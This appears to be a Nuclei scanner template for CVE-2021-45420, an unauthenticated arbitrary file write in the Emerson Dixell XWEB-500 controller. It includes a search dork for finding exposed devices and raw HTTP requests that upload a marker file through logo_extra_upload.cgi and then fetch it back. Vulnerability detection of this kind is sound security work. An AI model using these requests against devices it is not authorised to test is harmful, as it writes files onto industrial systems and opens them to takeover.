id: CVE-2021-45420 info: name: Emerson Dixell XWEB-500 - Arbitrary File Write author: hackerarpan severity: critical description: | Emerson Dixell XWEB-500 contains an arbitrary file write caused by unauthenticated access to /cgi-bin/logo_extra_upload.cgi, /cgi-bin/cal_save.cgi, and /cgi-bin/lo_utils.cgi, letting attackers write any file on the system, exploit requires no authentication. impact: | Unauthenticated attackers can write arbitrary files to any location on the Dixell XWEB-500 server, potentially uploading malicious CGI scripts or modifying system files. remediation: | Apply firmware updates provided by Emerson Dixell or restrict network access to the device. reference: - https://www.exploit-db.com/exploits/50639 - https://www.swascan.com/emerson - https://nvd.nist.gov/vuln/detail/CVE-2021-45420 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-45420 cwe-id: CWE-200 epss-score: 0.88992 epss-percentile: 0.99541 cpe: cpe:2.3:h:emerson:dixell_xweb-500:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: emerson product: dixell_xweb-500 google-query: inurl:"xweb500.cgi" tags: cve,cve2021,lfw,iot,dixell,xweb500,edb,fileupload,intrusive,vkev,vuln http: - raw: - | POST /cgi-bin/logo_extra_upload.cgi HTTP/1.1 Host: {{Hostname}} Content-Type: application/octet-stream {{randstr}}.txt dixell-xweb500-filewrite - | GET /logo/{{randstr}}.txt HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: dsl dsl: - 'contains(body_2, "dixell-xweb500-filewrite")' - type: status status: - 200 # digest: 490a00463044022077210a68e4d7403d6e43931d23ccbba22c2d8b4f38c78a9a34deb5c48cc0436c02205ac69d23449cbbfb277baff831077c54941803093fae8167d5ad86b1b2dd589b:922c64590222798bb761d5b6d8e72950